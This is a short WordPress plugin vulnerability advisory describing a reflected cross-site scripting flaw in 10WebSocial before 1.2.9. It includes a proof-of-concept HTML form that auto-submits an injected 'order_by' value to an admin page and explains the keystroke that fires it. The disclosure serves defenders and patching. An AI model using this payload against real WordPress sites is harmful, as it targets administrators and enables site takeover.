WordPress Plugin Vulnerabilities

10WebSocial < 1.2.9 - Reflected XSS

Description

The plugin does not sanitise and escape some parameter before outputting it back in a page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the code below

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=info_ffwd" method="POST">
      <input type="hidden" name="order_by" value='" accesskey=X onclick=alert(/XSS/)//' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when pressing ALT+SHIFT+X on Windows and CTRL+ALT+X on OS X
